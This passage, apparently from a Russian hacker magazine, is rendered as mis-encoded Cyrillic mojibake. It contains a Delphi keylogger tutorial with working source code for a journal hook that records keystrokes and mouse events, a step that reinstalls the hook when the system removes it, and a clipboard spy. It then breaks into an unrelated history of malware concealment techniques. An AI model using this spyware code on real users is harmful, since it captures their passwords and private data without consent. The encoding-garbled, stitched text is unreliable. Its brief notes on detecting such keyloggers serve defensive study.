ðàçìåùàåòñÿ â ñàìîé ïðîãðàììå, à íå â DLL. Ýòî
óäîáíî, òàê êàê íå òðåáóåòñÿ òàñêàòü ëèøíèå DLL.
Êðîìå òîãî, ó õóêà òèïà WH_JOURNALRECORD
åñòü åùå îäèí ïëþñ: îí ðåãèñòðèðóåò êëàâèàòóð-
íûå è ìûøèíûå ñîáûòèÿ, ÷òî óïðîùàåò íàïèñàíèå
øïèîíà. Îäíàêî ïðè âñåõ ïëþñàõ åñòü è ìèíóñû:
ëîâóøêà äàííîãî òèïà àâòîìàòîì ñíèìàåòñÿ ñè-
ñòåìîé ïðè íàæàòèè CTRL+ALT+DEL è CTRL+ESC —
øïèîí äîëæåí îòñëåæèâàòü äàííóþ ñèòóàöèþ è ïå-
ðåóñòàíàâëèâàòü ëîâóøêó.

Íî äàâàé ïî ïîðÿäêó. Äëÿ íà÷àëà íàì ïîíà-
äîáèòñÿ íàïèñàòü äâå ôóíêöèè: InstallHook äëÿ
óñòàíîâêè ëîâóøêè è RemoveHook äëÿ åå óäàëå-
íèÿ. Ôóíêöèè, ïî ñóòè, ÿâëÿþòñÿ îáåðòêîé äëÿ API-
ôóíêöèé SetWindowsHookEx è UnhookWindowsHo-
okEx, íî äîïîëíåíû ïðîâåðêîé, áëîêèðóþùåé ïîâ-
òîðíóþ óñòàíîâêó èëè óäàëåíèå ëîâóøêè. Ïåðå-
ìåííàÿ HookHandle ïðåäíàçíà÷åíà äëÿ õðàíåíèÿ
õåíäëà è èçíà÷àëüíî èíèöèàëèçèðóåòñÿ çíà÷åíè-
åì INVALID_HANDLE_VALUE.

function InstallHook : boolean;

begin

if HookHandle = INVALID_HANDLE_VALUE then

HookHandle := SetWindowsHookEx

(WH_JOURNALRECORD, @HookProc, hInstance, 0);

Result := HookHandle <> 

INVALID_HANDLE_VALUE;

end;

function RemoveHook : boolean;

begin

if HookHandle <> INVALID_HANDLE_VALUE then

UnhookWindowsHookEx(HookHandle);

HookHandle := INVALID_HANDLE_VALUE;

Result := true;

end;

Ñëåäóþùèì îáÿçàòåëüíûì øàãîì ÿâëÿåòñÿ êîä, ñíè-
ìàþùèé ëîâóøêó â ìîìåíò çàâåðøåíèÿ ïðîãðàììû:

procedure TForm1.FormDestroy(Sender: TObject);

begin

RemoveHook;

end;

Òåïåðü ìîæíî ïðèñòóïèòü ê íàïèñàíèþ êîäà ëîâóø-
êè. Ïàðàìåòð nCode óêàçûâàåò ëîâóøêå íà òî, êàê èí-
òåðïðåòèðîâàòü îñòàëüíûå ïàðàìåòðû. Åñëè nCode
ðàâåí HC_ACTION, òî lParam äîëæåí èíòåðïðåòèðî-
âàòüñÿ êàê óêàçàòåëü íà ñòðóêòóðó EVENTMSG. Çíà-
÷åíèÿ HC_SYSMODALOFF è HC_SYSMODALON äëÿ
íàñ íå ïðåäñòàâëÿþò èíòåðåñà: îíè óêàçûâàþò íà òî,
÷òî ñîçäàíî (èëè ðàçðóøåíî) ìîäàëüíîå îêíî óðîâíÿ
ñèñòåìû. Íàø îáðàáîò÷èê èõ ïðîñòî èãíîðèðóåò.

function HookProc(nCode: integer; 

WParam: Word; LParam: LongInt): Longint; 

stdcall;

var

EventMsg : PEventMsg; 

// Óêàçàòåëü EventMsg

VirtCode : byte; // Âèðòóàëüíûé êîä

ScanCode : dword; // Ñêàí-êîä

KeyState : TKeyboardState; 

// Ñîñòîÿíèå êëàâèàòóðû

Tmp, S : string; // Âðåìåííûå ïåðåìåííûå

Res : integer;

begin

s := '';

if nCode = HC_ACTION then begin

EventMsg := pointer(LParam);

case EventMsg^.message of

WM_LBUTTONDOWN : S := 

'íàæàòà ëåâàÿ êíîïêà ìûøè';

WM_RBUTTONDOWN : S := 

'íàæàòà ïðàâàÿ êíîïêà ìûøè';

WM_LBUTTONUP : S := 

'îòïóùåíà ëåâàÿ êíîïêà ìûøè';

WM_RBUTTONUP : S := 

'îòïóùåíà ïðàâàÿ êíîïêà ìûøè';

WM_MOUSEMOVE : S := 'ïåðåìåùåíèå ìûøè'+

' (X='+IntToStr(EventMsg^.paramL) +

', Y=' + IntToStr(EventMsg^.paramH)+')';

WM_KEYDOWN : begin

// Âûäåëåíèå âèðòóàëüíîãî êîäà è ñêàí-êîäà

VirtCode := EventMsg^.paramL and $FF;

ScanCode := 

(EventMsg^.paramL and $FF00) shl 8;

// Âûäåëåíèå áóôåðà äëÿ ñòðîêè

SetLength(Tmp, 32);

// Ïîëó÷åíèå èìåíè ïî êîäó, Res — 

äëèíà âîçâðàùåííîé ñòðîêè

Res := GetKeyNameText(ScanCode,

@Tmp[1], Length(Tmp));

S := 'Íàæàòà êëàâèøà "'+copy(Tmp, 1, Res)+'"';

// Îïðîñ ñîñòîÿíèÿ êëàâèàòóðû

GetKeyboardState(KeyState);

// Ïîëó÷åíèå ñèìâîëà ïî êîäàì

Res := ToAscii(VirtCode, ScanCode, 

KeyState, @Tmp[1], 0);

if Res > 0 then

S := S + ' ñèìâîë = "'+copy

(Tmp, 1, Res)+'"';

end;

else

S := 'message ñ êîäîì 

'+IntToHex(EventMsg^.message, 4);

end;

Form1.Memo1.Lines.Add(s);

end;

Result := CallNextHookEx

(HookHandle, nCode, wParam, LParam);

end;

Ðàáîòà ñàìîãî õóêà âåñüìà ïðîñòà. Åñëè êîä îïå-
ðàöèè nCode ðàâåí HC_ACTION, òî ïðîèçâîäèòñÿ
àíàëèç êîäà ñîîáùåíèÿ â ñòðóêòóðå EventMsg. Äëÿ
ìûøèíûõ ñîáûòèé paramL ýòîé ñòðóêòóðû ñîäåð-
æèò êîîðäèíàòó X-ìûøè íà ìîìåíò ñîáûòèÿ, pa-
ramH — êîîðäèíàòó Y. Äëÿ êëàâèàòóðíûõ ñîáûòèé
paramL ñîäåðæèò êîäû êëàâèøè (â ñòàðøåì áàéòå
ñîäåðæèòñÿ ñêàí-êîä, â ìëàäøåì — âèðòóàëüíûé
êîä), paramH ñîäåðæèò ñ÷åò÷èê ïîâòîðåíèé è ïðèç-
íàê äîïîëíèòåëüíîé êëàâèøè â 15-ì áèòå.

Â íàøåì ïðèìåðå ïðè ïîëó÷åíèè êëàâèàòóð-
íîãî ñîáûòèÿ â ïðîòîêîë âûâîäèòñÿ íàçâàíèå íà-
æàòîé êëàâèøè è ñîîòâåòñòâóþùèé åé ñèìâîë. Äëÿ
îïðåäåëåíèÿ ýòîé èíôîðìàöèè ïðèìåíÿþòñÿ API-
ôóíêöèè — GetKeyNameText è ToAscii, — êîòîðûì
â êà÷åñòâå ïàðàìåòðîâ òðåáóåòñÿ ïåðåäàâàòü âèð-
òóàëüíûé êîä è ñêàí-êîä. Ïîýòîìó óäîáíåå ñíà÷à-
ëà ïîëó÷èòü ýòè êîäû èç ïàðàìåòðà paramL, à çà-
òåì ïðèñòóïèòü ê äàëüíåéøèì îïåðàöèÿì. Ïðè
ýòîì ñìûñë êîíñòðóêöèè ((EventMsg^.paramL and
$FF00) shl 8 ñîñòîèò â òîì, ÷òî ñêàí-êîä êëàâèøè
äîëæåí íàõîäèòüñÿ â áèòàõ 16..23. Â íàøåì ñëó÷àå
îí ñîäåðæèòñÿ â áèòàõ 8..15 ïàðàìåòðà paramL, ïî-
ýòîìó ìû ñíà÷àëà ìàñêèðóåì èíòåðåñóþùèå íàñ
áèòû, à çàòåì ïðîèçâîäèì ñäâèã íà 8 áèò âëåâî.
Ôóíêöèÿ GetKeyNameText îñîáûõ êîììåíòàðèåâ
íå òðåáóåò, à âîò ïåðåä âûçîâîì ôóíêöèè ToAscii
òðåáóåòñÿ âûïîëíèòü äîïîëíèòåëüíóþ îïåðàöèþ:
îïðîñèòü ñîñòîÿíèå êëàâèàòóðû ïðè ïîìîùè ôóíê-
öèè GetKeyboardState, ïåðåäàâ ïîëó÷åííûé ðå-

44 ÁÎÅÂÎÅ ÊÐÅÙÅÍÈÅ ÑÏÅÖ 09-06

ÑÏÅÖ 10 06: Â ÏÐÎÄÀÆÅ Ñ 1 ÎÊÒßÁÐß
ÒÅÌÀ ÍÎÌÅÐÀ «ÈÑÊÓÑÑÒÂÎ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß» 

www.xakep.ru

â ññëåäóþùåì ííîìåðå:
Àëãîðèòìû è ñòðóêòóðû äàííûõ.
Ñîâåòû áûâàëûõ êîäåðîâ.
Îòëàä÷èêè è äèçàññåìáëåðû.



çóëüòàò â êà÷åñòâå òðåòüåãî ïàðàìåòðà ôóíêöèè
ToAscii. GetKeyboardState ïîëó÷àåò óêàçàòåëü íà
ìàññèâ ðàçìåðîì 256 áàéò. Êàæäûé áàéò ìàññèâà
çàïîëíÿåòñÿ êîäîì ñîñòîÿíèÿ ñîîòâåòñòâóþùåé
âèðòóàëüíîé êëàâèøè. 

Íàêîíåö, çàâåðøàþùèì øòðèõîì ÿâëÿåòñÿ
íàïèñàíèå îáðàáîò÷èêà ñîîáùåíèé. Êàê îòìå÷à-
ëîñü âûøå, ñèñòåìà ìîæåò àâòîìàòè÷åñêè ñíÿòü ëî-
âóøêó. Îäíàêî ïðè ýòîì îíà ïîñûëàåò óñòàíîâèâ-
øåìó ëîâóøêó ïðèëîæåíèþ ñîîáùåíèå WM_CAN-
CELJOURNAL. Ñëåäîâàòåëüíî, äëÿ îðãàíèçàöèè
áåñïåðåáîéíîãî ñëåæåíèÿ çà êëàâèàòóðîé íåîáõî-
äèìî îòñëåæèâàòü ñîîáùåíèÿ òèïà WM_CANCEL-
JOURNAL è ïðè èõ ïîëó÷åíèè ïðîèçâîäèòü ïîâòîð-
íóþ óñòàíîâêó ëîâóøêè. 

procedure TForm1.OnAppMessage

(var Msg: TMsg; var Handled: Boolean);

begin

if (Msg.message = WM_CANCELJOURNAL) and 

(HookHandle <> INVALID_HANDLE_VALUE)

then begin

HookHandle := INVALID_HANDLE_VALUE;

InstallHook;

Memo1.Lines.Add

('<< Âûïîëíåíà ïåðåóñòàíîâêà ëîâóøêè >>');

Handled := true;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Application.OnMessage := OnAppMessage;

InstallHook;

end;

Èòàê, â ðåçóëüòàòå ó íàñ ïîëó÷èëñÿ äîñòàòî÷íî
ïðîñòîé øïèîí, ðàáîòîñïîñîáíûé â Windows 9x è
NT, äà ê òîìó æå íå èñïîëüçóþùèé DLL. Ïîñëåäíèé
ôàêò çàòðóäíÿåò îòëîâ ïîäîáíûõ êåéëîããåðîâ —
îòëîâèòü òàêîé êåéëîããåð ìîæíî äâóìÿ ìåòîäàìè:

1 Óñòàíîâèòü â ñèñòåìó ìîíèòîð, êîòîðûé áó-
äåò îòñëåæèâàòü ôàêò óñòàíîâêè ëîâóøåê.

2 Ïðèìåíèòü îòëàäî÷íóþ ëîâóøêó ñ òèïîì
WH_DEBUG. Ëîâóøêà äàííîãî òèïà âûçûâàåòñÿ
ïåðåä ëþáîé äðóãîé ëîâóøêîé, ÷òî ïîçâîëÿåò
ïðîèçâîäèòü ìîíèòîðèíã èñïîëüçîâàíèÿ ëîâóøåê
è áëîêèðîâàòü èõ ðàáîòó.

Ïîãîâîðèâ î êëàâèàòóðíîì øïèîíå â ÷èñòîì
âèäå, ñëåäóåò óïîìÿíóòü î äðóãîé âàæíîé ôóíêöèè
ñîâðåìåííûõ êåéëîããåðîâ — ñëåæåíèè çà áóôå-
ðîì îáìåíà. Ýòî âàæíàÿ ñîñòàâëÿþùàÿ øïèîíà-
æà, òàê êàê â áóôåðå îáìåíà ìîæåò ñîäåðæàòüñÿ
âåñüìà èíòåðåñíàÿ èíôîðìàöèÿ. Èçâåñòíî òðè îñ-
íîâíûõ ìåòîäà øïèîíàæà çà áóôåðîì îáìåíà:

1 Ïåðèîäè÷åñêèé îïðîñ ñîäåðæèìîãî áóôå-
ðà. Ñàìûé ïðîñòîé è ëîáîâîé ìåòîä, ïî ñóòè, àíà-
ëîãè÷åí ñëåæåíèþ çà êëàâèàòóðîé ïóòåì åå öè-
êëè÷åñêîãî îïðîñà ñ âûñîêîé ñêîðîñòüþ.

2 Ðåãèñòðàöèÿ îêíà øïèîíà ïðè ïîìîùè
ôóíêöèè SetClipboardViewer â êà÷åñòâå òàê íàçû-
âàåìîãî «ïðîñìîòðùèêà áóôåðà îáìåíà». Ýòî íà-

èáîëåå êîððåêòíûé è äîêóìåíòèðîâàííûé ïóòü íà-
áëþäåíèÿ çà áóôåðîì îáìåíà.

3 Ñëåæåíèå çà áóôåðîì îáìåíà ïî ðóòêèò-
ïðèíöèïó, ïóòåì ïåðåõâàòà ñîîòâåòñòâóþùèõ ôóíê-
öèé è ìîíèòîðèíãà èõ âûçîâà.

Ìåòîä íà áàçå SetClipboardViewer ÿâëÿåòñÿ
íàèáîëåå ïðîñòûì ñ òî÷êè çðåíèÿ ðåàëèçàöèè, ïî-
ýòîìó çàñëóæèâàåò ïîäðîáíîãî ðàññìîòðåíèÿ.
Äëÿ íà÷àëà íåìíîãî òåîðèè. Ðåãèñòðèðóåìûå ïðè
ïîìîùè SetClipboardViewer îêíà îáðàçóþò öåïî÷-
êó ïðîñìîòðùèêîâ. Ïðè ýòîì ñèñòåìà çàïîìèíàåò
õåíäë îêíà, óñòàíîâëåííûé ïðè ïîìîùè ïîñëåäíå-
ãî óñïåøíîãî âûçîâà SetClipboardViewer â «ãîëî-
âå» öåïî÷êè, à õåíäë ïåðâîãî îêíà öåïî÷êè âîç-
âðàùàåò âûçûâàþùåìó SetClipboardViewer ïðèëî-
æåíèå. Äàëåå ïðè èçìåíåíèè áóôåðà îáìåíà ñè-
ñòåìà ïåðåäàåò ñîîáùåíèå òèïà WM_DRAWCLIP-
BOARD ïîñëåäíåìó èç çàðåãèñòðèðîâàííûõ ïðîñ-
ìîòðùèêîâ. Ïðè ïîëó÷åíèè ñîîáùåíèÿ îí åãî îá-
ðàáàòûâàåò, à çàòåì (÷òî âàæíî!) ïåðåñûëàåò ïî-
ñëåäóþùåìó â öåïî÷êå îêíó. Òîò, â ñâîþ î÷åðåäü,
ïåðåäàåò äàëåå, è òàê äî êîíöà öåïî÷êè. Ïîíÿòíîå
äåëî, ÷òî åñëè îäíî èç îêîí-ïðîñìîòðùèêîâ áóäåò
ðàçðóøåíî, òî öåïî÷êà ïðåðâåòñÿ. Íà ýòîò ñëó÷àé
ïðåäóñìîòðåíà ôóíêöèÿ ChangeClipboardChain,
ïîçâîëÿþùàÿ óäàëèòü îêíî èç öåïî÷êè ïåðåä åãî
ðàçðóøåíèåì. Ïîñëå âûçîâà ýòîé ôóíêöèè âñå çà-
ðåãèñòðèðîâàííûå â öåïî÷êå îêíà ïîëó÷àþò ñîîá-
ùåíèå WM_CHANGECBCHAIN è, â ñëó÷àå íåîáõî-
äèìîñòè, õðàíÿùèéñÿ ó íèõ õåíäë ñëåäóþùåãî â
öåïî÷êå îêíà. 

Ïðàêòè÷åñêàÿ ðåàëèçàöèÿ âûøåñêàçàííîãî
äîñòàòî÷íî ïðîñòà. Äëÿ íà÷àëà íåîáõîäèì êîä, ðå-
ãèñòðèðóþùèé îêíî â öåïî÷êå â ìîìåíò åãî ñîçäà-
íèÿ îêíà è èñêëþ÷àþùèé åãî èç öåïî÷êè â ìîìåíò
åãî ðàçðóøåíèÿ. Ýòîò êîä èìååò âèä:

procedure TCMForm.FormCreate

(Sender: TObject);

begin

hNextClipboardViewer := 

SetClipboardViewer(Handle);

if hNextClipboardViewer > 0 then

Memo1.Lines.Add('Ðåãèñòðàöèÿ ïðîøëà 

óñïåøíî. Next hWnd = '+IntToHex

(hNextClipboardViewer, 8))

else

Memo1.Lines.Add('Îøèáêà GetLastError =

'+IntToStr(GetLastError));

end;

procedure TCMForm.FormDestroy

(Sender: TObject);

begin

ChangeClipboardChain

(Handle, hNextClipboardViewer);

end;

Ïîñëå ðåãèñòðàöèè îêíî íà÷íåò ïîëó÷àòü ñîîá-
ùåíèÿ äâóõ âèäîâ — WM_CHANGECBCHAIN 
è WM_DRAWCLIPBOARD, — ïîýòîìó äëÿ èõ îá-
ðàáîòêè ïîòðåáóþòñÿ äâà ìåòîäà:

procedure WMCHANGECBCHAIN(var Message:

TWMCHANGECBCHAIN); message 

WM_CHANGECBCHAIN;

procedure WMDRAWCLIPBOARD(var Message:

TMessage); message WM_DRAWCLIPBOARD;

Çàäà÷åé îáðàáîò÷èêà ñîîáùåíèÿ WM_CHAN-
GECBCHAIN ÿâëÿåòñÿ êîððåêòèðîâêà õåíäëà ñëå-
äóþùåãî â öåïî÷êå îêíà â ñëó÷àå åãî ðàçðóøåíèÿ,
÷òî ðåàëèçóåòñÿ ñëåäóþùèì êîäîì:

procedure TCMForm.WMCHANGECBCHAIN

(var Message: TWMCHANGECBCHAIN);

begin

// Óäàëÿåòñÿ îêíî, êîòîðîìó 

ìû ïåðåäàåì ñîîáùåíèÿ ?

if Message.Remove = 

hNextClipboardViewer then

hNextClipboardViewer := Message.Next;

SendMessage (hNextClipboardViewer, 

Message.Msg, Message.Remove, 

Message.Next);

end;

Ñîîòâåòñòâåííî, îáðàáîò÷èê WM_DRAWCLIPBO-
ARD ñîäåðæèò êîä øïèîíà, êîòîðûé äîëæåí îïðî-
ñèòü ñîäåðæèìîå áóôåðà îáìåíà è âíåñòè åãî â
ïðîòîêîë. Â ïðîñòåéøåì ñëó÷àå ýòîò êîä ñâîäèòñÿ
ê ñëåäóþùåìó:

procedure TCMForm.WMDRAWCLIPBOARD(var

Message: TMessage);

begin

// Âíîñèì äàííûå â ïðîòîêîë

Memo1.Lines.Add(clipboard.AsText);

Memo1.Lines.Add('--------------');

// Ïîñëå îáðàáîòêè íåîáõîäèìî ïåðåäàòü

ñîîáùåíèå äàëüøå ïî öåïî÷êå

SendMessage (hNextClipboardViewer, 

Message.Msg, Message.WParam, 

Message.LParam);

end;

Äàííûé ïðèìåð ïðîñòî äîáàâëÿåò ñîäåðæèìîå áóôå-
ðà îáìåíà ê ïðîòîêîëó. Áîëåå ñëîæíàÿ ðåàëèçàöèÿ
ìîæåò ïðåäïîëàãàòü ïðîâåðêó íà ïðåäìåò ïîâòîðîâ. 

âûâîäû. Ïåðâûé è îñíîâíîé ñîñòîèò â òîì,
÷òî êåéëîããåð äîñòàòî÷íî ïðîñòî íàïèñàòü ñàìî-
ñòîÿòåëüíî. Êàê ñëåäñòâèå, ìåòîäèêè ñèãíàòóðíî-
ãî ïîèñêà äëÿ îõîòû íà êëàâèàòóðíûé øïèîí ìà-
ëîýôôåêòèâíû. Â êà÷åñòâå íàèëó÷øåãî ìåòîäà
áîðüáû ìîæíî ïîñîâåòîâàòü ïðèìåíåíèå îäíîãî
èç îïèñàííûõ àíòèêåéëîããåðîâ ñîâìåñòíî ñ àíòè-
ðóòêèòîì. Îäíàêî äàæå ýòî íå äàñò 100% çàùèòû
îò øïèîíà. Êðîìå òîãî, ñëåäóåò ó÷èòûâàòü, ÷òî
ìíîãèå àíòèðóòêèòû íå îòñëåæèâàþò ðåãèñòðàöèþ
ôóíêöèé KeServiceDescriptorTableShadow è ñëàé-
ñèíã èõ êîäà — ýòî äàåò åùå äâà ìåòîäà âíåäðå-
íèÿ øïèîíà. Ïîýòîìó íà äàííûé ìîìåíò íèêàêîé
àíòèêåéëîããåð íå çàìåíèò òùàòåëüíîãî àíàëèçà
ñèñòåìû âðó÷íóþ!
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ââ ïïððÿÿòòêêèè 
ññ ááîîííääîîìì

çàðîæäåíèå ââèðóñíîé ììàñêèðîâêè. Ïåðâûå
êîìïüþòåðíûå çëîâðåäû ïîÿâèëèñü åùå â ñåðåäè-
íå ñåìèäåñÿòûõ. Áîëüøèíñòâî âèðóñîâ òîãî âðå-
ìåíè êðîìå ñîáñòâåííîãî ðàñïðîñòðàíåíèÿ ïî íî-
ñèòåëÿì èíôîðìàöèè áîëüøå íè÷åãî íå äåëàëè.
Íàïðèìåð, äåéñòâèåì ëåãåíäàðíîãî âèðóñà Cree-
per áûëî ëèøü îáíàðóæåíèå ñåáÿ ïóòåì âûäà÷è
ñîîáùåíèÿ «I'm the creeper : catch me if you can».
Ñèòóàöèþ èçìåíèëà âñå áîëüøàÿ ïîïóëÿðíîñòü
ïåðñîíàëüíûõ êîìïüþòåðîâ. Âèðóñû ýâîëþöèîíè-
ðîâàëè, íàáèðàëè âñå áîëüøóþ ôóíêöèîíàëü-
íîñòü, ñòàíîâèëèñü âñå èçîùðåííåå. Â 1986 ãîäó
áûëà çàðåãèñòðèðîâàíà ïåðâàÿ âèðóñíàÿ ýïèäå-
ìèÿ. Âèðóñ Brain ïîðàçèë îãðîìíîå ïî òîìó âðåìå-
íè êîëè÷åñòâî IBM-ñîâìåñòèìûõ êîìïüþòåðîâ.
Ðàñïðîñòðàíåíèå âèðóñà áûëî âûçâàíî âîçìîæ-
íîñòüþ ðàñïðîñòðàíåíèÿ âèðóñà íà äèñêåòàõ.
Brain çàðàæàë çàãðóçî÷íûå ñåêòîðû äèñêåò è òåì
ñàìûì áûñòðî ïîøåë ïî ðóêàì. Brain íå îáëàäàë

íèêàêèìè äåñòðóêòèâíûìè äåéñòâèÿìè, çàòî îí
áûë ïåðâîé ïðîãðàììîé, ñêðûâàþùåé ñåáÿ â ñè-
ñòåìå, òî åñòü ïåðâûì ðóòêèòîì! Íå âåðèòå? Íà-
ïðàñíî, ïîñêîëüêó ïðè ÷òåíèè çàãðóçî÷íîãî ñåêòî-
ðà Brain ïåðåõâàòûâàë ñèñòåìíûå ôóíêöèè äîñòó-
ïà ê äèñêó è ïîäñòàâëÿë íà ìåñòî çàðàæåííûõ äàí-
íûõ çàðàíåå ñîõðàíåííûé îðèãèíàë.

Óæå â íà÷àëå 90-õ ïîÿâèëèñü ïåðâûå ïðåäñòà-
âèòåëè ïîëèìîðôíûõ âèðóñîâ. À ÷òî ýòî, åñëè íå
ïîïûòêà ñïðÿòàòüñÿ îò àíòèâèðóñà è äðóãèõ ñèñòåì-
íûõ óòèëèò? Ïåðâûì ïîëèìîðôèêîì ñ÷èòàåòñÿ âè-
ðóñ Chameleon, êîòîðûé ñîäåðæàë â ñâîåì òåëå àë-
ãîðèòì ñàìîøèôðàöèè. Ïðè÷åì îí èçìåíÿë íå
òîëüêî âíåøíèé âèä ñàìîãî òåëà, íî è ðàñøèôðîâ-
ùèêà. Àíòèâèðóñíîå ñîîáùåñòâî, êîíå÷íî æå, íå

ñäàâàëîñü, è âñêîðå áûëè ïðèäóìàíû ñïåöèàëüíûå
àëãîðèòìè÷åñêèå ÿçûêè, ïîçâîëÿþùèå ðàñïîçíàòü
ïîëèìîðôèê â çàðàæåííîì ôàéëå. Òîãäà æå Åâãå-
íèé Êàñïåðñêèé èçîáðåë ïðîöåññîðíûé ýìóëÿòîð
äëÿ äåøèôðàöèè êîäîâ, ÷òî ÿâèëîñü åùå áîëåå ýô-
ôåêòèâíîé òåõíîëîãèåé áîðüáû ñ ïîëèìîðôíûìè
âèðóñàìè. Îòêðîâåííî ãîâîðÿ, 90-å ãîäà îçíàìåíî-
âàëèñü áîëüøèì ïðîãðåññîì â ðàçâèòèè ïîëèìîðô-
íûõ âèðóñîâ. ×åãî ñòîèëî ïîÿâëåíèå öåëûõ ïîëè-
ìîðôèê-ãåíåðàòîðîâ, ïîñòàâëÿåìûõ â âèäå ãîòî-
âûõ îáúåêòíèêîâ è äîêóìåíòàöèè, ÷òîáû îáëåã÷èòü
æèçíü êîëëåãàì. Íàâåðíÿêà ó ìíîãèõ áûëî íà ñëóõó
èìÿ Dark Avenger. Ýòà ëè÷íîñòü ñòàëà êóìèðîì è
êëàññèêîì äëÿ ìíîãèõ õàêåðîâ ïîñëå èçîáðåòåíèÿ
ìîùíåéøåãî ïîëèìîðôíîãî ãåíåðàòîðà MtE.

ÑÏÎÑÎÁÛ ÑÎÊÐÛÒÈß ÊÎÄÀ Â ÑÈÑÒÅÌÅ
ÅÙÅ ËÅÒ ÄÅÑßÒÜ ÍÀÇÀÄ ÇËÎÂÐÅÄÍÛÅ ÏÐÎÃÐÀÌÌÛ ÏÎÄÐÀÇÄÅËßËÈÑÜ ÍÀ ÄÂÀ ÂÈÄÀ:
ÂÈÐÓÑÛ È ÏÐÈÌÈÒÈÂÍÛÅ ÒÐÎßÍÑÊÈÅ ÏÐÎÃÐÀÌÌÛ. Â ÍÀØÈ ÄÍÈ ÊÎËÈ×ÅÑÒÂÎ 
ÂÈÄÎÂ È ÏÎÄÂÈÄÎÂ ÇËÎÂÐÅÄÎÂ ÓÂÅËÈ×ÈËÎÑÜ ÍÀ ÏÎÐßÄÎÊ. ×ÅÃÎ ÒÎËÜÊÎ 
ÍÅ ÂÑÒÐÅÒÈØÜ Â ÄÈÊÎÉ ÏÐÈÐÎÄÅ: È ÑÅÒÅÂÛÅ ×ÅÐÂÈ, È ÐÀÇÍÎÎÁÐÀÇÍÛÅ 
ØÏÈÎÍÑÊÈÅ ÏÐÎÃÐÀÌÌÛ ÊËÀÑÑÀ SPYWARE, È ÍÅÆÅËÀÒÅËÜÍÛÅ ÐÅÊËÀÌÍÛÅ
ÑÈÑÒÅÌÛ, È ÍÀÂÎÐÎ×ÅÍÍÛÅ ÒÐÎßÍÛ, È ÁÝÊÄÎÐÛ. ÂÑÅ ÎÍÈ ÍÅ ÒÎËÜÊÎ
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Àíäðåé Ñåìåíþ÷åíêî 
semuha@mail.ru



Äàëüøå — áîëüøå. Ñî âðåìåíåì ïîÿâëÿ-
ëîñü âñå áîëüøå âèðóñîâ, ïûòàþùèõñÿ ïðîòèâî-
ñòîÿòü àíòèâèðóñíûì ïðîãðàììàì è ñêðûòüñÿ îò
íèõ. Òàê, âèðóñ Peach, ïîÿâèâøèéñÿ â 1992 ãîäó,
ïåðåä ñîâåðøåíèåì çëîäåÿíèé óäàëÿë àíòèâèðó-
ñíóþ áàçó óñòàíîâëåííîãî àíòèâèðóñà. Òàêèì îá-
ðàçîì, àíòèâèðóñ íå ìîã íè÷åãî îáíàðóæèòü. Ïî-
ìèìî âèðóñîâ, ïîÿâëÿþòñÿ äðóãèå âèäû çëîâðå-
äîâ, íàïðèìåð óòèëèòû ñêðûòîãî àäìèíèñòðèðî-
âàíèÿ backdoors. Èìåííî â 1998 ãîäó ïîÿâèëñÿ íà-
øóìåâøèé BackOrifice (Backdoor.BO), ïðåäñòà-
âëÿþùèé èç ñåáÿ óòèëèòó ñêðûòîãî (õàêåðñêîãî)
àäìèíèñòðèðîâàíèÿ óäàëåííûõ êîìïüþòåðîâ è
ñåòåé. Ïîçäíåå â 2000 ãîäó âûøëà íîâàÿ, áîëåå
ïðîäâèíóòàÿ âåðñèÿ BackOrifice BO2k, íàïóãàâ-

øàÿ áåäíûõ ïîëüçîâàòåëåé, ïîñêîëüêó îáåùàëà
ïîëíóþ ìàñêèðîâêó âíóòðè ñèñòåìû.

Èíòåðåñíûì ôàêòîì ñòàëî ïîÿâëåíèå èíòåð-
íåò-÷åðâÿ ZippedFiles, ðàçíîâèäíîñòü êîòîðîãî
ñêðûâàëàñü îò àíòèâèðóñîâ áëàãîäàðÿ òîìó, ÷òî
òåëî ÷åðâÿ áûëî ñæàòî óòèëèòîé êîìïðåññèè Neoli-
te. Íà òîò ìîìåíò íè îäèí àíòèâèðóñ íå ïîääåðæè-
âàë ôîðìàò ñæàòèÿ Neolite (êñòàòè ñêàçàòü, èñïîëü-
çîâàíèå òàêèõ ïàêåðîâ — èñòîðè÷åñêèé ìåòîä, ïî-
ñêîëüêó îäíî âðåìÿ èõ áûëî ìíîãî, à àíòèâèðóñû
ðàñïàêîâûâàëè òîëüêî PKZip è LZExe. — Ïðèì. Ëî-
çîâñêîãî). ×óòü ïîçæå ïîÿâèëèñü ïåðâûå áåñòåëåñ-
íûå ÷åðâè, ñîçäàâøèå ñåðüåçíûå ïðîáëåìû ðàç-
ðàáîò÷èêàì àíòèâèðóñíûõ ïðîãðàìì áëàãîäàðÿ òî-
ìó, ÷òî â ïðîöåññå ðàáîòû òàêèå ÷åðâè ñóùåñòâóþò

èñêëþ÷èòåëüíî â ñèñòåìíîé ïàìÿòè, à ïåðåäàþòñÿ
íà äðóãèå êîìïüþòåðû â âèäå ñïåöèàëüíûõ ïàêåò-
íûõ äàííûõ. Àíòèâèðóñíûì ðàçðàáîò÷èêàì ïðèø-
ëîñü ñóùåñòâåííî äîïîëíÿòü ñòàíäàðòíûé àíòèâè-
ðóñíûé ìîíèòîð, ðàáîòà êîòîðîãî áûëà îñíîâàíà
íà ïåðåõâàòå èìåííî ôàéëîâûõ îïåðàöèé.

ïîÿâëåíèå ííîâûõ óóãðîç. Íåñìîòðÿ íà òî, ÷òî,
êàçàëîñü áû, êîìïüþòåðíûå çëîâðåäû äîâîëüíî
ñèëüíî ïðîäâèíóëèñü â ýâîëþöèîííîì ðàçâèòèè ê
êîíöó XX âåêà, òåì íå ìåíåå, â íà÷àëå íîâîãî âåêà
ïîÿâëÿþòñÿ âñå áîëåå èçîùðåííûå òåõíîëîãèè.
Ýòî ñâÿçàíî, â ïåðâóþ î÷åðåäü, ñ òåì, ÷òî íàïèñà-
íèå âðåäîíîñíûõ ïðîãðàìì ïðåâðàòèëîñü â ïðè-
áûëüíûé áèçíåñ. Äàâàé ïîïðîáóåì îòâåòèòü íà âî-
ïðîñ, êòî ñîçäàâàë âèðóñû ðàíüøå, à êòî — ñåé÷àñ?
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Åñëè ðàíüøå âèðóñû ïèñàëè â îñíîâíîì îäèíî÷êè
ñ öåëüþ ïîçàáàâèòüñÿ, ïîòåøèòü ñîáñòâåííîå ýãî,
ïîïðîáîâàòü ñâîè ñèëû, òî ñåé÷àñ ýòî ÷àùå âñåãî
âûñîêî îðãàíèçîâàííûå õàêåðñêèå ãðóïïû, ïðå-
ñëåäóþùèå ÷åòêèå öåëè. Èõ íå èíòåðåñóåò áà-
